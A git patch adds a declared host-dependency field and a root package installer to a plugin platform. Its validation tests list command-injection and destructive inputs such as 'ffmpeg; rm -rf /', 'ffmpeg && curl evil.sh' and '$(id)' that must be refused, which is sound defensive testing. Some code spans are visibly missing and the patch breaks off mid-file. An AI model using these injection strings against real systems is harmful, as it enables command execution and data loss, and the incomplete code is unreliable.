From e930586878659c3919f3f1173d692b140096dd12 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Andr=C3=A9=20Padez?= Date: Sat, 15 Aug 2026 02:33:18 +0000 Subject: [PATCH] plugins declare the host binaries they need, and the installer checks MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Offscale was self-sufficient. Music is not — it shells out to ffmpeg and ffprobe — and the way it fails without them is the reason this is a check rather than a line in a README. It does not fail. Missing ffprobe means the indexer catches the spawn error and returns a track carrying its filename and nothing else: no title, artist, album, duration or embedded lyrics. It then walks the whole library, writes a complete cache tree and reports success. Five swallowed catches, no log, no counter, and the only tell is coversSaved: 0 in a report nobody reads. So `osDependencies` is a manifest field: the binary to probe on PATH, why it is needed, and a package name per package manager. The shape is taken from scripts/setup-old/setup.sh rather than invented — probe the binary, case on $PM — and the names are per-manager rather than canonical-with-overrides because lib/packages.sh already recorded why that indirection was rejected. Probing the binary is what makes "built-in on this OS" free: on PATH means the package map is never consulted. Four decisions worth naming. Missing and uninstallable REFUSES the install, first, before a table is created or a row written — so there is nothing to undo, and the alternative is a plugin that installs, answers 200 and quietly produces nothing. The status is on GET /api/plugins and rendered before the button, because the owner is deciding whether to let the server run a package manager as root and that needs answering first. Installing by hand and watching it flip to present is the escape hatch on a machine without passwordless sudo. Package names get a deliberately narrow regex and reach Bun.spawn as an argv ARRAY, never a shell. Both halves are load-bearing: the regex means a metacharacter cannot get there, argv means it would be an argument rather than syntax if it did. Narrower than package managers actually accept — no `:`, no `+` version pins — because a plugin needing one wants a conversation. Success is OBSERVED, not inferred: after installing, the binaries are re-probed. A package manager exiting 0 having installed something that does not provide the binary is exactly the failure this exists to catch. installCommand mirrors lib/packages.sh's pkg_install_now exactly, including apt's non-interactive environment, so there is one definition of "install a package" rather than two that drift. sudo always gets -n: under PM2 a password prompt is not a slow path, it is a hang. brew never escalates. Verified live. ffmpeg and ffprobe were absent on this machine all evening; the page showed both missing with the exact root command, the install streamed `dependencies: installing ffmpeg with apt` then `ffprobe, ffmpeg now on PATH`, and X-Audio-Duration appeared on a stream response for the first time. The refusal path was exercised against a temporary probe dependency: HTTP 400, steps: [], reason named. THIS CHANGED THE MACHINE: ffmpeg 6.1.1-3ubuntu5 is now installed via apt. Found on the way: a manifest is read once per process. Discovery does `await import()` and the module cache holds it, so editing a manifest changes nothing until pm2 restart officer — including `outdated`. Cost ten minutes and is now in the runbook. bunx tsgo clean. 797 tests, 787 pass, 7 fail — the same seven, +25 new. --- plugins/EXTRACTING-A-PLUGIN.md | 9 + plugins/music/PLUGIN.md | 42 +++- plugins/music/manifest.ts | 27 ++- src/servers/api/plugins/router.ts | 22 ++ src/servers/plugins/install.ts | 68 +++++- src/servers/plugins/manifest.ts | 109 +++++++++ src/servers/plugins/os-deps.test.ts | 132 +++++++++++ src/servers/plugins/os-deps.ts | 219 ++++++++++++++++++ .../src/apps/Plugins/PluginDetail.tsx | 68 +++++- .../officerdev/src/apps/Plugins/usePlugins.ts | 33 +++ 10 files changed, 713 insertions(+), 16 deletions(-) create mode 100644 src/servers/plugins/os-deps.test.ts create mode 100644 src/servers/plugins/os-deps.ts diff --git a/plugins/EXTRACTING-A-PLUGIN.md b/plugins/EXTRACTING-A-PLUGIN.md index 78ee10a6..8e24536e 100644 --- a/plugins/EXTRACTING-A-PLUGIN.md +++ b/plugins/EXTRACTING-A-PLUGIN.md @@ -39,6 +39,11 @@ web/panels.ts panels — REQUIRED with web/ web/layout.ts layout — REQUIRED with web/ ``` +**A host binary is the one exception, and it goes in the manifest** — the tree cannot say it. Declare +`osDependencies` when your plugin shells out to something: the binary to probe on PATH, why it is needed, +and a package name per package manager. Absent means self-sufficient, which offscale and example are. +Music added the field; see its PLUGIN.md for what it is guarding against. + `appName` is the **directory name**. The sidecar runtime is the **file extension**. **Nothing may branch on provenance** except `mountPrefix()`. First-party and third-party differing @@ -121,6 +126,10 @@ A normal refresh is enough; the shell is `no-store`. When the log's last line ap - **Moving a `*.test.ts` into `plugins/` used to stop it running, silently.** `[test] root` was `./src` until music; it is now `.`. If that ever goes back, every extraction quietly shrinks the suite. Compare the FILE COUNT across a run, not just pass/fail — that is the only thing that shows it. +- **A manifest is read once per server process.** Discovery does `await import(manifest.ts)`, and the + module cache holds it for the lifetime of the process — so editing a manifest while developing changes + nothing until `pm2 restart officer`. Costs ten minutes the first time, because the plugins page keeps + cheerfully showing the old values. `outdated` cannot notice a version bump without a restart either. - **A plugin importing platform code is fine (`@@/…`); the reverse is not.** If something in `src/` imports from your feature and cannot move — a widget, a relay — that piece stays, and the boundary goes around it. Find those before you plan the split; they decide it for you. diff --git a/plugins/music/PLUGIN.md b/plugins/music/PLUGIN.md index f263655a..6f3b020a 100644 --- a/plugins/music/PLUGIN.md +++ b/plugins/music/PLUGIN.md @@ -133,14 +133,44 @@ change inside `db/queries.ts`, not a flag on the manifest. --- -## Host dependencies a manifest cannot declare +## Host dependencies — the field music created -`ffmpeg` and `ffprobe`, for tag reading, cover compression and video poster frames. There is no field for -a host binary and inventing one for this would be a field nothing else reads. +`ffmpeg` and `ffprobe`. Offscale needed nothing, so until music there was no reason to build this and no +way to say it; the first draft of this document said "there is no field for a host binary" and left it at +that. That was the wrong answer, because of HOW music fails without them. -**Neither is installed on this machine** (verified 2026-08-15). The sidecar starts and serves fine — the -`X-Audio-Duration` header simply does not appear, and indexing would produce no tags or covers. Nothing -breaks today because there is no library: `~/Music` did not exist either. +It does not fail. `ffprobe` missing means the indexer catches the spawn error and returns a track carrying +its filename and nothing else — no title, artist, album, duration or embedded lyrics — then walks the +whole library, writes a complete cache tree and reports success. Five swallowed catches in +`indexer.ts` and `stream-audio.ts`, no log, no counter. The only tell is `coversSaved: 0` in a report +nobody reads. A refusal wearing the costume of a normal result. + +So `osDependencies` is a manifest field now (`servers/plugins/manifest.ts`, `servers/plugins/os-deps.ts`): + +```ts +osDependencies: [ + { binary: 'ffprobe', reason: '…', packages: { apt: 'ffmpeg', pacman: 'ffmpeg', dnf: 'ffmpeg', brew: 'ffmpeg' } }, + { binary: 'ffmpeg', reason: '…', packages: { … } }, +] +``` + +Both are declared even though one package provides both, because the platform probes BINARIES and these +two fail differently — and the owner should be told which one they are missing. The installer dedupes to +a single `ffmpeg` before anything reaches a command line. + +The shape is `scripts/setup-old/setup.sh`'s, not invented: probe the binary, map to a package name per +manager. Probing the binary is what makes "built-in on this OS" free — if it is on PATH the package map +is never consulted. Per-manager names rather than canonical-with-overrides because `packages.sh` already +recorded why that indirection was rejected. + +**Verified end to end on 2026-08-15.** Both binaries were absent on this machine all evening. The plugins +page showed `ffprobe missing — ffmpeg` and `ffmpeg missing — ffmpeg` with the exact root command it would +run; installing streamed `dependencies: installing ffmpeg with apt` → `dependencies: ffprobe, ffmpeg now +on PATH`, and `X-Audio-Duration: 7.026939` appeared on a stream response for the first time. The refusal +path was exercised separately against a temporary probe dependency: HTTP 400, `steps: []`, and the reason +named — nothing had happened, so there was nothing to undo. + +`~/Music` still does not exist, so there is no library to index. `cliamp`, `parec`, `pulseaudio` and `pactl` stayed behind with cliamp. The sidecar logs `pulseaudio not installed, skipping audio setup` and carries on, which is the right shape. diff --git a/plugins/music/manifest.ts b/plugins/music/manifest.ts index 28fd94e3..8d9f07a3 100644 --- a/plugins/music/manifest.ts +++ b/plugins/music/manifest.ts @@ -39,10 +39,10 @@ import type { PluginManifest } from '@@/plugins/manifest'; // install and gone at uninstall. So the seam switches itself off with the plugin, with no code path // that knows why. // -// ── Host dependencies a manifest cannot declare ── +// ── Host dependencies ── // -// `ffmpeg` and `ffprobe` must be on PATH: tag reading, cover compression and video poster frames. There -// is no field for a host binary and inventing one for this would be a field nothing else reads. +// Music is the plugin that made `osDependencies` exist. Offscale was self-sufficient, so until this one +// there was nothing to declare and no reason to build the field — see ./PLUGIN.md. export const manifest: PluginManifest = { publisher: 'officerdev', version: '1.0.0', @@ -82,4 +82,25 @@ export const manifest: PluginManifest = { readOnlyWrites: ['/favorites', '/now-playing', '/playlists', '/queue'], }, ], + + // Both come from one package everywhere, which is luck rather than a rule — hence a name per manager + // rather than one canonical name. `packages.sh` records why that indirection was rejected. + // + // They are declared SEPARATELY even so, because the platform probes binaries and these two fail + // differently. Losing `ffprobe` is the quiet one: the indexer catches the spawn error and returns a + // track carrying its filename and nothing else — no title, artist, album, duration or embedded + // lyrics — then reports success. Losing `ffmpeg` costs cover art and video poster frames, which is at + // least visible. Naming both means the owner is told which of the two they are missing. + osDependencies: [ + { + binary: 'ffprobe', + reason: 'Reads tags, duration and embedded lyrics. Without it every track indexes as a bare filename.', + packages: { apt: 'ffmpeg', pacman: 'ffmpeg', dnf: 'ffmpeg', brew: 'ffmpeg' }, + }, + { + binary: 'ffmpeg', + reason: 'Compresses cover art for phones and grabs poster frames from videos.', + packages: { apt: 'ffmpeg', pacman: 'ffmpeg', dnf: 'ffmpeg', brew: 'ffmpeg' }, + }, + ], }; diff --git a/src/servers/api/plugins/router.ts b/src/servers/api/plugins/router.ts index 01daa38b..9106153a 100644 --- a/src/servers/api/plugins/router.ts +++ b/src/servers/api/plugins/router.ts @@ -3,6 +3,7 @@ import * as errors from '../../custom-errors'; import { isSuperAdmin } from '../../super-admin'; import { mountPrefix } from '../../plugins/manifest'; import { snapshotPlugins } from '../../plugins/mount'; +import { manualInstallHint, reportDependencies } from '../../plugins/os-deps'; import { installPlugin, pluginProcessStatus, @@ -43,6 +44,20 @@ pluginsRouter.get('/', async (ctx) => { // ask about. A plugin that is installed and enabled but whose process is not online is the state worth // rendering differently — it is the difference between "off" and "broken". const statuses = await Promise.all(states.map(({ plugin }) => pluginProcessStatus(plugin))); + // Synchronous and cheap — `Bun.which` per declared binary, and most plugins declare none. The one + // genuinely slow call in here is the `sudo -n` probe, which only runs when something is missing. + const dependencyReports = states.map(({ plugin }) => { + const report = reportDependencies(plugin); + return { + manager: report.manager, + items: report.dependencies, + satisfied: report.missing.length === 0, + canInstall: report.canInstall, + blockedReason: report.blockedReason, + packagesToInstall: report.packagesToInstall, + manualHint: manualInstallHint(report.manager, report.packagesToInstall), + }; + }); return ctx.json({ plugins: states.map(({ plugin, install, outdated }, i) => ({ appName: plugin.appName, @@ -67,6 +82,13 @@ pluginsRouter.get('/', async (ctx) => { installedVersion: install?.version ?? null, outdated, processStatus: statuses[i] ?? null, + // Probed live, against this machine's PATH, on every read. + // + // Deliberately here rather than only inside the installer: the owner decides whether to let the + // server run `apt-get install` as root, and that decision needs the answer BEFORE the button, not + // in the log afterwards. It also lets them install the packages by hand first and watch this flip + // to present, which is the escape hatch for a machine with no passwordless sudo. + dependencies: dependencyReports[i]!, })), broken, }); diff --git a/src/servers/plugins/install.ts b/src/servers/plugins/install.ts index e85dfe0f..d60463b4 100644 --- a/src/servers/plugins/install.ts +++ b/src/servers/plugins/install.ts @@ -5,6 +5,7 @@ import { addPluginToEcosystem, pluginProcessName, removePluginFromEcosystem } fr import { discoverPlugins } from './discover'; import { refreshPluginMounts, snapshotPlugins } from './mount'; import { generatePluginSchemas, pushSchema } from './schema'; +import { installDependencies, manualInstallHint, reportDependencies, stillMissing } from './os-deps'; import type { DiscoveredPlugin } from './manifest'; // The install runner: the four verbs, each as a short ordered list of effects. @@ -19,11 +20,15 @@ import type { DiscoveredPlugin } from './manifest'; // // ── What each verb touches ── // -// ecosystem PM2 row mounts tables -// install add start upsert rebuild (see below) -// uninstall remove delete delete rebuild untouched -// enable — start enabled=t rebuild untouched -// disable — stop enabled=f rebuild untouched +// host deps ecosystem PM2 row mounts tables +// install install add start upsert rebuild (see below) +// uninstall untouched remove delete delete rebuild untouched +// enable untouched — start enabled=t rebuild untouched +// disable untouched — stop enabled=f rebuild untouched +// +// Host dependencies are installed and never removed. A package is a machine-wide resource that other +// things may have started depending on the moment it appeared, so uninstalling a plugin has no business +// deciding that `ffmpeg` should go — the same reasoning as tables, one level down. // // Nothing here drops a table, ever. Uninstall means "stop running this", and for a plugin holding a // user's data the two are unrecoverably different — see `plugin_installs` schema. @@ -94,6 +99,59 @@ export async function installPlugin(appName: string, onStep?: OnStep): Promise

d.binary).join(', ')}, which ${deps.missing.length === 1 ? 'is' : 'are'} not installed. ` + + `${deps.blockedReason ?? ''}${hint ? ` Run: ${hint}` : ''}`.trim(), + }; + } + + await step(steps, onStep, `dependencies: installing ${deps.packagesToInstall.join(', ')} with ${deps.manager}`); + const installed = await installDependencies(deps.manager!, deps.packagesToInstall); + if (!installed.ok) { + return { + ok: false, + appName, + steps, + error: `dependency install failed: ${installed.error ?? installed.output}`, + }; + } + + // Observed, not inferred. A package manager exiting 0 having installed something that does not + // provide the binary the plugin spawns is exactly the failure this whole check exists to catch, + // and trusting the exit code would reproduce it one layer up. + const absent = stillMissing(plugin); + if (absent.length) { + return { + ok: false, + appName, + steps, + error: `installed ${deps.packagesToInstall.join(', ')}, but ${absent.join(', ')} still ${absent.length === 1 ? 'is' : 'are'} not on PATH`, + }; + } + await step(steps, onStep, `dependencies: ${deps.missing.map((d) => d.binary).join(', ')} now on PATH`); + } else if (deps.dependencies.length) { + // Said out loud rather than skipped silently: "it was already there" and "we never looked" are + // different facts, and only one of them is reassuring. + await step(steps, onStep, `dependencies: ${deps.dependencies.map((d) => d.binary).join(', ')} already present`); + } + if (plugin.schema) { // The barrel first, then the push. It is generated from the DIRECTORIES on disk rather than from // what is installed — see schema.ts for why that difference is the whole safety property. diff --git a/src/servers/plugins/manifest.ts b/src/servers/plugins/manifest.ts index 39f10b57..aeca7f3a 100644 --- a/src/servers/plugins/manifest.ts +++ b/src/servers/plugins/manifest.ts @@ -44,6 +44,46 @@ export type PluginPermission = { readOnlyWrites?: string[]; }; +/** The package managers the platform knows how to drive. Mirrors `PM` in machine-setup's lib/base.sh. */ +export type PackageManager = 'apt' | 'pacman' | 'dnf' | 'brew'; + +/** + * A host binary the plugin shells out to, and how to get it. + * + * ── Why a BINARY plus per-manager package names, and not a package name ── + * + * Offscale needed nothing. Music needs `ffmpeg` and `ffprobe`, and without them its indexer does not + * fail — it writes a complete library where every track is a bare filename with no cover, and reports + * success. A refusal wearing the costume of a normal result, which is the failure shape this codebase + * keeps finding. So a plugin has to be able to say what it needs, and the platform has to check. + * + * The shape is taken from `scripts/setup-old/setup.sh`, which had already solved this: + * + * if has ; then skip; else + * case $PM in apt) …; pacman) …; brew) skip "built-in" ;; esac + * fi + * + * Probing the BINARY rather than the package is what makes that `brew) built-in` case free: if it is on + * PATH we never look at `packages` at all, so a manager needing no package simply has no entry. + * + * And the names are per manager rather than canonical-with-overrides, deliberately. `packages.sh` says + * why, having tried the alternative: `build-essential`/`base-devel`, `fd`/`fd-find`, and some things are + * not a package elsewhere at all. A translation table hides both behind indirection; a per-manager map + * says what each system actually gets. + */ +export type OsDependency = { + /** Looked up on PATH. The name the plugin's code actually spawns, not a package. */ + binary: string; + /** Shown to the owner before they install. What breaks without it, in their words not a package's. */ + reason: string; + /** + * Package to install per manager. A manager left out means "cannot be installed automatically here" — + * which for a binary that is present anyway is correct and silent, and otherwise becomes an instruction + * to the owner rather than a guess. + */ + packages: Partial>; +}; + export type PluginManifest = { /** * Who published it. The ONLY input to `mountPrefix`, so first-party and third-party can never become two @@ -63,6 +103,15 @@ export type PluginManifest = { color: string; permissions: PluginPermission[]; + + /** + * Host binaries this plugin needs. Absent means it is self-sufficient, which offscale and example are. + * + * Checked before anything else happens on install: present ones are never named on a command line, and + * a missing one that cannot be installed here refuses the install rather than proceeding to a plugin + * that runs and quietly produces nothing. + */ + osDependencies?: OsDependency[]; }; /** What the platform knows about a plugin on disk: its manifest, plus everything the tree said. */ @@ -123,6 +172,65 @@ export function mountPrefix(plugin: { appName: string; manifest: { publisher: st /** An app name has to be a URL segment, a SQL identifier prefix and a directory name at once. */ const APP_NAME_RE = /^[a-z][a-z0-9-]{0,38}$/; +/** Every package manager the installer can drive. Anything else in a manifest is refused by name. */ +export const PACKAGE_MANAGERS: PackageManager[] = ['apt', 'pacman', 'dnf', 'brew']; + +/** + * What may appear in an `osDependencies` entry — and this is the strictest rule in the file, on purpose. + * + * These two strings are the only values in a manifest that reach a root command line. They are passed to + * `Bun.spawn` as an argv array and never through a shell, so a metacharacter could not be interpreted + * even if one got here — but "could not be interpreted by the shell we happen to use today" is not a + * property to rest a root install on. So the characters are not there to be interpreted. + * + * Deliberately narrower than what package managers actually accept. No `+`, no `~`, no `:` — so `apt`'s + * `pkg:arch` qualifier and any version pin are refused. A plugin that needs one wants a conversation, + * not a regex that already allows it. + */ +const BINARY_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]{0,63}$/; +const PACKAGE_RE = /^[a-z0-9][a-z0-9.+-]{0,63}$/; + +/** Reasons an `osDependencies` list is unusable. Empty when it is fine. */ +function osDependencyProblems(deps: unknown): string[] { + if (deps === undefined) return []; + if (!Array.isArray(deps)) return ['osDependencies must be an array when present']; + + const problems: string[] = []; + for (const [i, dep] of deps.entries()) { + const at = `osDependencies[${i}]`; + if (!dep || typeof dep !== 'object') { + problems.push(`${at} must be an object`); + continue; + } + const { binary, reason, packages } = dep as Partial; + + if (typeof binary !== 'string' || !BINARY_RE.test(binary)) { + problems.push(`${at}.binary must be a plain command name — letters, digits, dot, dash, underscore`); + } + // Required rather than optional: it is what the owner reads when deciding whether to let this + // machine install something as root, and "ffprobe" alone does not answer that question. + if (typeof reason !== 'string' || !reason.trim()) { + problems.push(`${at}.reason is required — say what stops working without it`); + } + if (!packages || typeof packages !== 'object') { + problems.push(`${at}.packages must be an object keyed by package manager`); + continue; + } + for (const [manager, name] of Object.entries(packages)) { + if (!PACKAGE_MANAGERS.includes(manager as PackageManager)) { + problems.push( + `${at}.packages has unknown package manager "${manager}" — one of ${PACKAGE_MANAGERS.join(', ')}`, + ); + continue; + } + if (typeof name !== 'string' || !PACKAGE_RE.test(name)) { + problems.push(`${at}.packages.${manager} must be a plain package name — lowercase, digits, dot, plus, dash`); + } + } + } + return problems; +} + /** A publisher shares the app name's constraints — it is a path segment too. */ const PUBLISHER_RE = /^[a-z][a-z0-9-]{0,38}$/; @@ -161,5 +269,6 @@ export function manifestProblems(appName: string, manifest: Partial=1.0.0', + label: 'Probe', + summary: 'fixture', + icon: 'Puzzle', + color: '#000000', + permissions: [], +}; + +const withDeps = (osDependencies: unknown): PluginManifest => + ({ ...base, osDependencies }) as unknown as PluginManifest; + +describe('osDependencies validation', () => { + test('a plugin declaring nothing is fine — offscale and example are self-sufficient', () => { + expect(manifestProblems('probe', base)).toEqual([]); + }); + + test('the shape music uses is accepted', () => { + const problems = manifestProblems( + 'probe', + withDeps([{ binary: 'ffprobe', reason: 'reads tags', packages: { apt: 'ffmpeg', brew: 'ffmpeg' } }]), + ); + expect(problems).toEqual([]); + }); + + // The whole point of the field being narrow. These are argv entries in a command run as root, and the + // characters are refused rather than escaped — "our current spawn does not use a shell" is not a + // property to rest a root install on. + test.each([ + ['ffmpeg; rm -rf /'], + ['ffmpeg && curl evil.sh'], + ['$(id)'], + ['`id`'], + ['ff|mpeg'], + ['../../bin/sh'], + ['ffmpeg\nrm'], + ['-rf'], + [''], + ])('refuses %j as a package name', (name) => { + const problems = manifestProblems('probe', withDeps([{ binary: 'ffprobe', reason: 'x', packages: { apt: name } }])); + expect(problems.some((p) => p.includes('packages.apt'))).toBe(true); + }); + + test.each([['ff mpeg'], ['/usr/bin/ffmpeg'], ['ff;probe'], ['']])('refuses %j as a binary name', (name) => { + const problems = manifestProblems('probe', withDeps([{ binary: name, reason: 'x', packages: { apt: 'ffmpeg' } }])); + expect(problems.some((p) => p.includes('binary'))).toBe(true); + }); + + test('refuses a package manager it cannot drive', () => { + const problems = manifestProblems('probe', withDeps([{ binary: 'x', reason: 'y', packages: { yum: 'x' } }])); + expect(problems.some((p) => p.includes('unknown package manager "yum"'))).toBe(true); + }); + + // `reason` is required because it is what the owner reads when deciding whether to let this machine + // install something as root. "ffprobe" alone does not answer that. + test('requires a reason', () => { + const problems = manifestProblems('probe', withDeps([{ binary: 'ffprobe', packages: { apt: 'ffmpeg' } }])); + expect(problems.some((p) => p.includes('reason is required'))).toBe(true); + }); + + test('reports every problem at once rather than the first', () => { + const problems = manifestProblems('probe', withDeps([{ binary: 'bad name', packages: { apt: 'bad;name' } }])); + expect(problems.length).toBeGreaterThanOrEqual(3); + }); +}); + +describe('installCommand', () => { + test('apt carries the non-interactive environment, matching lib/packages.sh', () => { + expect(installCommand('apt', ['ffmpeg'])).toEqual([ + 'sudo', + '-n', + 'env', + 'DEBIAN_FRONTEND=noninteractive', + 'NEEDRESTART_MODE=a', + 'apt-get', + 'install', + '-y', + 'ffmpeg', + ]); + }); + + test('pacman uses --needed, so a package already there is not reinstalled', () => { + expect(installCommand('pacman', ['ffmpeg'])).toContain('--needed'); + }); + + // Homebrew refuses to run as root, which is also why machine-setup never escalates on macOS. + test('brew never escalates', () => { + expect(installCommand('brew', ['ffmpeg'])).toEqual(['brew', 'install', 'ffmpeg']); + }); + + test('-n on sudo, always — a password prompt under PM2 is a hang, not a slow path', () => { + for (const pm of ['apt', 'pacman', 'dnf'] as const) { + const argv = installCommand(pm, ['x']); + expect(argv.slice(0, 2)).toEqual(['sudo', '-n']); + } + }); + + // argv, not a string. A package name is one element however many spaces it might have contained. + test('every package is its own argv element', () => { + const argv = installCommand('dnf', ['ffmpeg', 'imagemagick']); + expect(argv).toContain('ffmpeg'); + expect(argv).toContain('imagemagick'); + expect(argv.some((a) => a.includes(' '))).toBe(false); + }); +}); + +describe('manualInstallHint', () => { + // Shown when the platform cannot escalate. It drops `-n`, because a person at a terminal CAN answer a + // password prompt — the flag exists for the unattended case only. + test('is runnable by a human: no -n', () => { + expect(manualInstallHint('apt', ['ffmpeg'])).toBe( + 'sudo env DEBIAN_FRONTEND=noninteractive NEEDRESTART_MODE=a apt-get install -y ffmpeg', + ); + }); + + test('is null when there is nothing to install or no manager to do it', () => { + expect(manualInstallHint('apt', [])).toBeNull(); + expect(manualInstallHint(null, ['ffmpeg'])).toBeNull(); + }); +}); diff --git a/src/servers/plugins/os-deps.ts b/src/servers/plugins/os-deps.ts new file mode 100644 index 00000000..814091ae --- /dev/null +++ b/src/servers/plugins/os-deps.ts @@ -0,0 +1,219 @@ +import { PACKAGE_MANAGERS, type DiscoveredPlugin, type OsDependency, type PackageManager } from './manifest'; + +// Host binaries a plugin needs, and getting them onto the machine. +// +// ── Why this exists ── +// +// Offscale was self-sufficient, so nothing here was missing until music. Music shells out to `ffmpeg` and +// `ffprobe`, and without them its indexer does not fail: it walks the whole library, writes a complete +// cache tree, reports success, and produces a library where every track is a bare filename with no cover. +// Five swallowed catches, no log, no counter. The only tell is `coversSaved: 0` in a report nobody reads. +// +// That is the failure shape this codebase keeps finding — a refusal wearing the costume of a normal +// result — and it is why the answer is a CHECK rather than a note in a README. The owner is told what is +// missing before they install, and an install that cannot satisfy a dependency refuses instead of +// producing that library. +// +// ── The one rule about running as root ── +// +// Package names from a manifest reach `apt-get install` as root. They are validated by a deliberately +// narrow regex in manifest.ts and passed to `Bun.spawn` as an ARGV ARRAY — never a shell string, never +// interpolated, never `sh -c`. Both halves are load-bearing: the regex means a metacharacter cannot get +// here, and argv means it would be an argument rather than syntax if it did. +// +// Nothing is installed without the owner asking for it. This module is reached from the plugins API, +// which is owner-only in its own right, and the missing packages are shown before the button is pressed. + +/** + * Which package manager this machine has. + * + * Mirrors `detect_os` in `scripts/setup/machine-setup/lib/base.sh`, and deliberately by the same means — + * looking for the binary rather than reading `/etc/os-release` — because that is the question actually + * being asked. A Fedora derivative with apt bolted on should get apt. + * + * Order matters on exactly one machine shape: Homebrew on Linux. `brew` last means a Linux box with + * Linuxbrew still uses its distribution's manager, which is what somebody running a system service + * wants. + */ +let cachedManager: PackageManager | null | undefined; + +export function detectPackageManager(): PackageManager | null { + if (cachedManager !== undefined) return cachedManager; + cachedManager = PACKAGE_MANAGERS.find((pm) => !!Bun.which(pm)) ?? null; + return cachedManager; +} + +/** Reset the memoised lookup. Tests only — a real machine does not gain a package manager while running. */ +export function resetPackageManagerCache(): void { + cachedManager = undefined; +} + +export type DependencyStatus = { + binary: string; + reason: string; + /** Absolute path when it is on PATH, null when it is not. The whole question, answered per binary. */ + path: string | null; + present: boolean; + /** What would be installed on THIS machine, or null when this manager has no entry for it. */ + packageName: string | null; +}; + +/** Probe one dependency against the live PATH. */ +function probe(dep: OsDependency, manager: PackageManager | null): DependencyStatus { + const path = Bun.which(dep.binary); + return { + binary: dep.binary, + reason: dep.reason, + path, + present: !!path, + packageName: (manager && dep.packages[manager]) || null, + }; +} + +export type DependencyReport = { + manager: PackageManager | null; + dependencies: DependencyStatus[]; + missing: DependencyStatus[]; + /** Distinct packages to install — deduped, because one package usually provides several binaries. */ + packagesToInstall: string[]; + /** + * Missing, and this machine has no way to install them: no package manager, or no entry for the one it + * has. These are the owner's to resolve by hand, and the install says so rather than guessing. + */ + unresolvable: DependencyStatus[]; + /** Can the platform actually run the install — passwordless sudo, or a manager that never needs it. */ + canInstall: boolean; + /** Why not, when it cannot. Written to be shown to a person. */ + blockedReason: string | null; +}; + +/** + * Whether the platform may install packages without a human at a terminal. + * + * `sudo -n` is "non-interactive": it succeeds only when a password would not be asked for, and fails + * immediately otherwise rather than blocking on a prompt no one can answer. The server runs unattended + * under PM2, so a prompt is not a slow path — it is a hang. + * + * Homebrew is the exception and needs no escalation: it refuses to run as root outright, which is also + * why machine-setup never escalates on macOS. + */ +function sudoAvailable(): boolean { + if (!Bun.which('sudo')) return false; + try { + return Bun.spawnSync(['sudo', '-n', 'true'], { stdout: 'ignore', stderr: 'ignore' }).exitCode === 0; + } catch { + return false; + } +} + +/** Everything the UI and the installer need to know about one plugin's host dependencies. */ +export function reportDependencies(plugin: DiscoveredPlugin): DependencyReport { + const declared = plugin.manifest.osDependencies ?? []; + const manager = detectPackageManager(); + const dependencies = declared.map((dep) => probe(dep, manager)); + const missing = dependencies.filter((d) => !d.present); + const unresolvable = missing.filter((d) => !d.packageName); + + // Deduped and sorted: ffmpeg and ffprobe are one apt package, and naming it twice on the command line + // is the sort of thing that reads as a bug in a log even though apt does not care. + const packagesToInstall = [...new Set(missing.map((d) => d.packageName).filter((n): n is string => !!n))].sort(); + + let canInstall = true; + let blockedReason: string | null = null; + + if (missing.length === 0) { + // Nothing to do, so nothing can block it. Said explicitly because the checks below would otherwise + // report "no package manager" on a machine that needs nothing — true, and useless. + } else if (!manager) { + canInstall = false; + blockedReason = `No supported package manager found (${PACKAGE_MANAGERS.join(', ')}).`; + } else if (unresolvable.length) { + canInstall = false; + blockedReason = + `${unresolvable.map((d) => d.binary).join(', ')} — this plugin declares no ${manager} package for ` + + `${unresolvable.length === 1 ? 'it' : 'them'}.`; + } else if (manager !== 'brew' && !sudoAvailable()) { + canInstall = false; + blockedReason = + 'Officer cannot escalate: passwordless sudo is not configured for the user it runs as. ' + + 'Install the packages yourself and then install the plugin.'; + } + + return { manager, dependencies, missing, packagesToInstall, unresolvable, canInstall, blockedReason }; +} + +/** The command that would be run, as argv. Exported so the UI can SHOW it — the owner should see it. */ +export function installCommand(manager: PackageManager, packages: string[]): string[] { + const escalate = manager === 'brew' ? [] : ['sudo', '-n']; + switch (manager) { + // Matches lib/packages.sh's `pkg_install_now` exactly, including the environment apt needs to stay + // non-interactive. A second spelling of "install a package" that drifted from the setup script's + // would be a bug nobody finds until a machine behaves differently from the one it was set up on. + case 'apt': + return [ + ...escalate, + 'env', + 'DEBIAN_FRONTEND=noninteractive', + 'NEEDRESTART_MODE=a', + 'apt-get', + 'install', + '-y', + ...packages, + ]; + case 'pacman': + return [...escalate, 'pacman', '-S', '--noconfirm', '--needed', ...packages]; + case 'dnf': + return [...escalate, 'dnf', 'install', '-y', ...packages]; + case 'brew': + return ['brew', 'install', ...packages]; + } +} + +/** What the owner should run by hand when the platform cannot. Display only — never executed. */ +export function manualInstallHint(manager: PackageManager | null, packages: string[]): string | null { + if (!manager || !packages.length) return null; + const argv = installCommand(manager, packages).filter((a) => a !== '-n'); + return argv.join(' '); +} + +export type InstallDependenciesResult = { ok: boolean; installed: string[]; output: string; error?: string }; + +/** + * Install the missing packages. + * + * Only ever called with `report.packagesToInstall`, so a binary already on PATH is never named on a + * command line — `packages.sh`'s rule, and it matters for the same reason: `apt-get install ` + * is not a no-op, it upgrades. A plugin install must not move a version the owner chose. + */ +export async function installDependencies( + manager: PackageManager, + packages: string[], +): Promise { + if (!packages.length) return { ok: true, installed: [], output: '' }; + + try { + const proc = Bun.spawn(installCommand(manager, packages), { stdout: 'pipe', stderr: 'pipe' }); + const [out, err] = await Promise.all([new Response(proc.stdout).text(), new Response(proc.stderr).text()]); + const code = await proc.exited; + const output = `${out}${err}`.trim().slice(-600); + if (code !== 0) return { ok: false, installed: [], output, error: output || `exited ${code}` }; + return { ok: true, installed: packages, output }; + } catch (err) { + return { ok: false, installed: [], output: '', error: err instanceof Error ? err.message : String(err) }; + } +} + +/** + * Re-probe after installing, so success is observed rather than inferred from an exit code. + * + * `apt-get` returning 0 having installed a package that does not provide the binary the plugin actually + * spawns is precisely the sort of thing this whole module exists to catch, and trusting the exit code + * would reproduce it one layer up. + */ +export function stillMissing(plugin: DiscoveredPlugin): string[] { + const manager = detectPackageManager(); + return (plugin.manifest.osDependencies ?? []) + .map((dep) => probe(dep, manager)) + .filter((d) => !d.present) + .map((d) => d.binary); +} diff --git a/src/workspaces/officerdev/src/apps/Plugins/PluginDetail.tsx b/src/workspaces/officerdev/src/apps/Plugins/PluginDetail.tsx index d7097f67..0b26b47e 100644 --- a/src/workspaces/officerdev/src/apps/Plugins/PluginDetail.tsx +++ 